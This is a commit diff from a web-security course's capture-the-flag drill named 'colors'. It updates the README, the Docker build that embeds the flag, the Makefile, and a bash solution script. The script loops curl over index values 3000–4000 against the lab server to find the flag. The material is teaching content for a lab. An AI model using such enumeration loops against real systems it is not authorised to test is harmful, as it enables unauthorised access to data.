Skip to content

Commit 1d6985d

Browse files
committed
chore(cookies): update colors challenge
Signed-off-by: Gabriel Mocanu <gabi.mocanu98@gmail.com>
1 parent 046c6b7 commit 1d6985d

File tree

6 files changed

+33
-71
lines changed

6 files changed

+33
-71
lines changed

chapters/web-application-security/cookies-and-session-management/drills/colors/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
## Description
44

5-
Get the flag from http://141.85.224.115:8002/colors.
5+
Get the flag from http://141.85.224.115:8002.
66

77
Score: 50
88

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,11 @@
1+
# Stage 1: Generate the source file with the flag
2+
FROM alpine:latest AS builder
3+
4+
ARG FLAG
5+
COPY src/index.template.php /tmp/index.template.php
6+
RUN sed "s/__TEMPLATE__/${FLAG}/g" /tmp/index.template.php > /tmp/index.php
7+
8+
# Stage 2: Final image
19
FROM php:7.2-apache
210

3-
COPY /public /var/www/html/
11+
COPY --from=builder /tmp/index.php /var/www/html/
Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,19 @@
1-
FILE :=../flag
2-
FLAG :=$(shell cat $(FILE))
3-
4-
build:
5-
docker build -f Dockerfile -t sss-web-02_colors ..
1+
EXTERNAL_PORT := 8082
2+
INTERNAL_PORT := 80
3+
NAME := cookies-and-session-management_colors
4+
FLAG := $(shell cat ../flag)
65

76
run: build
8-
docker run -d -p 8082:80 --name sss-web-02_colors sss-web-02_colors
7+
docker run -d -p $(EXTERNAL_PORT):$(INTERNAL_PORT) --name $(NAME) -t $(NAME)
8+
9+
build:
10+
docker build --build-arg FLAG="$(FLAG)" -t $(NAME) -f Dockerfile ..
911

1012
stop:
11-
docker stop sss-web-02_colors
13+
docker stop $(NAME)
1214

1315
clean: stop
14-
docker rm sss-web-02_colors
16+
docker rm $(NAME)
17+
docker image rm $(NAME):latest
1518

16-
.PHONY: build run stop clean
19+
.PHONY: run build stop clean

chapters/web-application-security/cookies-and-session-management/drills/colors/public/index.php

Lines changed: 0 additions & 37 deletions
This file was deleted.
Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,22 @@
11
#!/bin/bash
22
PORT=8082
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.115:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.115:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Colors
1513
echo "Start exploit for Colors"
16-
url=$url'/colors/index.php?index='
17-
for i in {3000..4000}
18-
do
19-
flag=$(curl -s $url$i | grep -o "SSS{.*}")
20-
if [[ ! -z $flag ]]; then
21-
break
22-
fi
14+
url=$url'/index.php?index='
15+
for i in {3000..4000}; do
16+
flag=$(curl -s $url$i | grep -o "SSS{.*}")
17+
if [[ ! -z $flag ]]; then
18+
break
19+
fi
2320
done
2421
echo "Flag is $flag"
2522
echo "----------------------------"

chapters/web-application-security/cookies-and-session-management/drills/colors/src/Makefile

Lines changed: 0 additions & 9 deletions
This file was deleted.

0 commit comments

Comments
 (0)